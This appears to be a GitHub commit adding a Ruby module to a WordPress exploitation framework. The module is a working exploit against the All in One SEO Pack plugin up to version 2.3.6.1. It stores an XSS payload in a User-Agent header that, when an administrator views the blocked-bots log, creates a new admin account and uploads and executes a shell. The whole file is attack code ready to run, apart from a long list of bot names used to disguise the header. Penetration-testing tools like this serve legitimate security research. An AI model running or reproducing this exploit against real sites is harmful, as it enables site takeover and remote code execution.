Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 26086a0

Browse files
rastatingrastating
committed
Add All in One SEO Pack stored XSS shell upload
1 parent e610ada commit 26086a0

File tree

1 file changed

+206
-0
lines changed

1 file changed

+206
-0
lines changed

‎modules/exploits/all_in_one_seo_pack_xss_shell_upload.rb‎

Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
class Wpxf::Exploit::AllInOneSeoPackXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::Xss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'All in One SEO Pack <= 2.3.6.1 Stored XSS Shell Upload',
9+
desc: %(
10+
This module exploits a lack of HTTP header sanitization in
11+
versions <= 2.3.6.1 of the All in One SEO Pack plugin which
12+
allows unauthenticated users to store a script that will
13+
create a new admin user and use the new credentials to upload
14+
and execute a payload when an admin views the blocked bot logs.
15+
).strip,
16+
author: [
17+
'David Vaartjes', # Disclosure
18+
'Rob Carr <rob[at]rastating.com>' # WPXF module
19+
],
20+
references: [
21+
['WPVDB', '8538'],
22+
['URL', 'https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_all_in_one_seo_pack_wordpress_plugin.html']
23+
],
24+
date: 'Jul 10 2016'
25+
)
26+
end
27+
28+
def check
29+
check_plugin_version_from_changelog('all-in-one-seo-pack', 'readme.txt', '2.3.6.2')
30+
end
31+
32+
def blocked_bots
33+
[
34+
'Abonti',
35+
'aggregator',
36+
'AhrefsBot',
37+
'asterias',
38+
'BDCbot',
39+
'BLEXBot',
40+
'BuiltBotTough',
41+
'Bullseye',
42+
'BunnySlippers',
43+
'ca-crawler',
44+
'CCBot',
45+
'Cegbfeieh',
46+
'CheeseBot',
47+
'CherryPicker',
48+
'CopyRightCheck',
49+
'cosmos',
50+
'Crescent',
51+
'discobot',
52+
'DittoSpyder',
53+
'DotBot',
54+
'Download Ninja',
55+
'EasouSpider',
56+
'EmailCollector',
57+
'EmailSiphon',
58+
'EmailWolf',
59+
'EroCrawler',
60+
'Exabot',
61+
'ExtractorPro',
62+
'Fasterfox',
63+
'FeedBooster',
64+
'Foobot',
65+
'Genieo',
66+
'grub-client',
67+
'Harvest',
68+
'hloader',
69+
'httplib',
70+
'HTTrack',
71+
'humanlinks',
72+
'ieautodiscovery',
73+
'InfoNaviRobot',
74+
'IstellaBot',
75+
'Java/1.',
76+
'JennyBot',
77+
'k2spider',
78+
'Kenjin Spider',
79+
'Keyword Density/0.9',
80+
'larbin',
81+
'LexiBot',
82+
'libWeb',
83+
'libwww',
84+
'LinkextractorPro',
85+
'linko',
86+
'LinkScan/8.1a Unix',
87+
'LinkWalker',
88+
'LNSpiderguy',
89+
'lwp-trivial',
90+
'magpie',
91+
'Mata Hari',
92+
'MaxPointCrawler',
93+
'MegaIndex',
94+
'Microsoft URL Control',
95+
'MIIxpc',
96+
'Mippin',
97+
'Missigua Locator',
98+
'Mister PiX',
99+
'MJ12bot',
100+
'moget',
101+
'MSIECrawler',
102+
'NetAnts',
103+
'NICErsPRO',
104+
'Niki-Bot',
105+
'NPBot',
106+
'Nutch',
107+
'Offline Explorer',
108+
'Openfind',
109+
'panscient.com',
110+
'PHP/5.{',
111+
'ProPowerBot/2.14',
112+
'ProWebWalker',
113+
'Python-urllib',
114+
'QueryN Metasearch',
115+
'RepoMonkey',
116+
'RMA',
117+
'SemrushBot',
118+
'SeznamBot',
119+
'SISTRIX',
120+
'sitecheck.Internetseer.com',
121+
'SiteSnagger',
122+
'SnapPreviewBot',
123+
'Sogou',
124+
'SpankBot',
125+
'spanner',
126+
'spbot',
127+
'Spinn3r',
128+
'suzuran',
129+
'Szukacz/1.4',
130+
'Teleport',
131+
'Telesoft',
132+
'The Intraformant',
133+
'TheNomad',
134+
'TightTwatBot',
135+
'Titan',
136+
'toCrawl/UrlDispatcher',
137+
'True_Robot',
138+
'turingos',
139+
'TurnitinBot',
140+
'UbiCrawler',
141+
'UnisterBot',
142+
'URLy Warning',
143+
'VCI',
144+
'WBSearchBot',
145+
'Web Downloader/6.9',
146+
'Web Image Collector',
147+
'WebAuto',
148+
'WebBandit',
149+
'WebCopier',
150+
'WebEnhancer',
151+
'WebmasterWorldForumBot',
152+
'WebReaper',
153+
'WebSauger',
154+
'Website Quester',
155+
'Webster Pro',
156+
'WebStripper',
157+
'WebZip',
158+
'Wotbox',
159+
'wsr-agent',
160+
'WWW-Collector-E',
161+
'Xenu',
162+
'Zao',
163+
'Zeus',
164+
'ZyBORG',
165+
'coccoc',
166+
'Incutio',
167+
'lmspider',
168+
'memoryBot',
169+
'SemrushBot',
170+
'serf',
171+
'Unknown',
172+
'uptime files'
173+
]
174+
end
175+
176+
def store_script
177+
emit_info 'Storing script...'
178+
res = execute_get_request(
179+
url: full_uri,
180+
headers: {
181+
'User-Agent' => "#{blocked_bots.sample}<script>#{xss_ascii_encoded_include_script}</script>"
182+
}
183+
)
184+
185+
if res.nil?
186+
emit_error 'No response from the target'
187+
return false
188+
end
189+
190+
if res.code != 503
191+
emit_warning "Server responded with code #{res.code}, expected 503"
192+
end
193+
194+
true
195+
end
196+
197+
def run
198+
return false unless super
199+
return false unless store_script
200+
201+
emit_success 'Script stored and will be executed when a user views the blocked bots log'
202+
start_http_server
203+
204+
xss_shell_success
205+
end
206+
end

0 commit comments

Comments
 (0)